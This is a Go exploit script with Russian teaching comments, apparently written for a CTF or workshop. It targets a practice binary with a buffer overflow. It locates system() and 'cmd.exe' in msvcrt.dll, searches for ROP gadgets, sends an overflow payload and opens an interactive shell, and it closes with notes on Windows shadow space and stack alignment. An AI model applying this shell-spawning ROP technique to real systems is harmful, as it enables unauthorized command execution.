package main import ( "bytes" "fmt" "log" "winpwn" ) func main() { pe, err := winpwn.OpenPE("./bof_win.c.exe") if err == nil { defer pe.Close() } msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll") if err != nil { log.Fatalf("Failed to open DLL: %v", err) } defer msvcrt.Close() // 2. Ищем функцию system (аналог libc.symbols['system']) systemRVA, err := msvcrt.GetProcAddress("system") if err != nil { log.Fatalf("system() not found") } log.Printf("[+] system() RVA: 0x%X", systemRVA) // 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00'))) cmdPattern := []byte("cmd.exe\x00") cmdRVAs, err := msvcrt.SearchBytes(cmdPattern) if err != nil { log.Fatalf("String 'cmd.exe' not found") } log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0]) // ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ... var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса // 4. Вычисляем абсолютные адреса для ROP-цепочки systemAddr := msvcrtBase + systemRVA cmdStringAddr := msvcrtBase + cmdRVAs[0] log.Printf("[+] system() absolute address: 0x%X", systemAddr) log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr) //------------------------------------ rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed if err != nil { log.Fatalf("rop init error : %v", err) } defer rop.Close() popRcx, err := rop.Search("pop rcx ; ret") if err != nil { log.Fatalf("Gadget not found") } // Выводим первый найденный гаджет fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address) // Интеграция в пейлоад // payload = append(payload, winpwn.P64(popRcx[0].Address)...) payload := bytes.Repeat([]byte("a"), 128) p, err := winpwn.Spawn("bof_win.c.exe") if err != nil { log.Fatalf("Spawn: %v", err) } if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil { log.Fatalf("SendLineAfter: %v", err) } p.Interactive() } /*На что обратить внимание твоим участникам: Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора. Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */